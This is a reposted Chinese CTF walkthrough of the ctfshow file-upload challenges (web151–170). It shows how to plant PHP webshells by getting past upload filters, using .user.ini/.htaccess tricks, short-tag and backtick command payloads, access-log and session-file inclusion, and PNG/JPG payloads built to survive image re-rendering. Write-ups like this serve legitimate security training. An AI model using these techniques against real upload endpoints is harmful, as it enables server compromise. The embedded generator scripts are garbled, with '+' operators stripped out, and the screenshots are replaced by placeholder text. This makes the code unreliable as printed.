• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

ctfshow web入门(文件上传)

武飞扬头像
Ff.cheng
帮助1

web151 (前端限制)

  • 知识点:修改前端限制

上传时,bp收不到,前端是限制了

学新通
修改为php,上传一句话,蚁剑连接
学新通


web152(后端限制)

  • 知识点:绕过后端对文件类型限制

后端限制为图片,传入图片马,bp修改后缀,
蚁剑连接
学新通


web153(.user.ini配置文件绕过)

发现很容易上传如php5,phtml等类型文件,但是不解析.通过插件识别为nginx服务器,尝试上传.user.ini,发现上传成功

upload下有index.php所以.user.ini可以使用

上传.user.ini时修改后缀,指向1.png图片马

学新通

正常上传图片马

学新通
访问/upload/index.php会直接在文件头部 指向(类似包含1.png)1.png

学新通
蚁剑连接http://…/upload/index.php

学新通


web154(限制字符)

  • 知识点:绕过限制的字符

与web153一样,但是上传图片马的时候出现错误,试着修改其中的字符,将php改大写即可

学新通


web155(短标签绕过)

测试过滤了php
学新通
所以只能用短标签

 <? echo '123';?> //short_open_tags=on

 <?=(表达式)?>  等价于 <?php echo (表达式)?> //无限制

 <% echo '123';%> //asp_tags=on  php_version < 7

  <script language="php">echo '123'; </script> //php_vsesion < 7

学新通


web156(过滤)

过滤了 [ ]

学新通

{ } 可以替代 [ ]


web157-159(过滤)

过滤了{};,那就直接输出flag算了

``$() 两种命令的功能是相同的,在执行一条命令时,会将``或者$()中的语句当做命令执行一边,再把结果加入到原命令中重新执行。

…/返回上一层 *全部

<?=`cat ../flag*`?> <?=`tac ../f*`?> <?=`nl ../flag*`?>

查看源码得flag

学新通


web160(日志包含)

  • 日志文件绕过

过滤了括号 反引号还有一些关键字

先上传.user.ini指向图片, 再上传图片指向日志文件,将一句话写入UA
内容<?=include"/var/lo"."g/nginx/access.lo"."g"?> (log被过滤)
蚁剑连接index.php

学新通

学新通


web161(检查十六进制文件头)

  • 知识点:getimagesize()

这个函数功能会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求的

学新通
限制了头文件有以下方法

学新通

法一:

学新通
法二:

学新通

法三:
添加png头部信息

89 50 4E 47 0D 0A 1A 0A

学新通
上传.user.ini同样添加png头

学新通
上传2.png日志包含

学新通


web162-163(包含session文件)

  • 知识点:session

省去上传png文件(带有include…sess_cys)步骤
上传 .user.ini 时直接包含sess_cys

学新通
上传1.txt 并添加恶意代码 添加cookie
表单攻击 时间竞争

学新通
不断发送
此时我们访问/upload/index.php 抓包并爆破请求

学新通


web164(二次渲染)

后端进行二次渲染 ,利用 imagecreatefrompng().
png和jpg要利用脚本生成图片马,gif文件只需要将图片下载回来对照,shell写入未改动的区域

png:

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y  = 3) {
   $r = $p[$y];
   $g = $p[$y 1];
   $b = $p[$y 2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

学新通

学新通
学新通


web165(二次渲染)

  • 二次渲染
    jpg:
<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad  ) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp =
                    substr($outStream, 0, $startPos) .
                    $miniPayload .
                    str_repeat("\0",$nullbytePayloadSize) .
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream =
                        substr($outStream, 0, $startPos) .
                        $miniPayload .
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize $imageStreamSize-$extraBytes) .
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d ) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8)   ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8)   ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

学新通

web166(前端限制)

  • 知识点:zip在bp时需要修改格式

学新通
上传.zip文件

注意修改Content-Type为application/x-zip-compressed

学新通

学新通


web167 (.htaccess配置文件)

  • 知识点:.htaccess

.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

学新通

将.png后缀的文件解析 成php

学新通
上传.png 文件

学新通
访问/upload/1.png即可


web168(过滤)

可以上传php文件,但是过滤了关键字eval system

学新通

访问一下
学新通


web169(日志包含)

前端限制格式,后端又限制很多
所以我们直接配置文件绕过
上传ini 日志包含
学新通
上传所需的php文件 修改UA,蚁剑连接

学新通


web170(日志包含)

学新通
上传2.php

学新通
蚁剑

这篇好文章是转载于:编程之路

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 编程之路
  • 本文地址: /boutique/detail/tanhhfkaia
系列文章
更多 icon
同类精品
更多 icon
继续加载